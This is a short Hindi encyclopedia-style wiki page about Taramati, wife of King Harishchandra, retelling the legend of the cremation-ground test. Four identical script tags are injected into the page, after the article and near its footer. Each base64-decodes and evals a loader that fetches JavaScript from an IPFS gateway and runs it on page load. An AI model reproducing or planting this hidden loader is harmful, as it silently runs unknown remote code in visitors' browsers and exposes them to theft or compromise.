तारामती

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 12:27, 10 जनवरी 2011 का अवतरण (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
यहाँ जाएँ:भ्रमण, खोजें
  • तारामती राजा हरिश्चन्द्र की राजमहिषी, शैव्य देश के राजा की पुत्री थी।
  • इन्हें शैव्या भी कहते हैं।
  • सत्यवादी हरिश्चन्द्र डोम के हाथ बिक गये थे और तारामती एक ब्राह्मण के यहाँ दासी का काम करने लगीं।
  • वहाँ इनके पुत्र रोहिताश्व की सर्प-दंश से मृत्यु हो गयी।
  • अत: वे उसे श्मशान लेकर पहुँची, जहाँ डोम द्वारा नियुक्त हरिश्चन्द्र ने 'कर' माँगा।
  • शैव्या के पास कर चुकाने के लिए बालक का कफ़न भी नहीं था किन्तु कर्त्तव्यारूढ़ हरिश्चन्द्र बिना 'कर' लिये दाह नहीं करने दे रहे थे।
  • उनकी सत्यनिष्ठा से प्रसन्न होकर इन्द्र प्रकट हुए और विश्वामित्र ने परीक्षा में सफल हरिश्चन्द्र के पुत्र को जीवित कर दिया।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. देखिए 'सत्यहरिश्चन्द्र' :भारतेन्दु हरिश्चन्द्र, मोहन अवस्थी

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>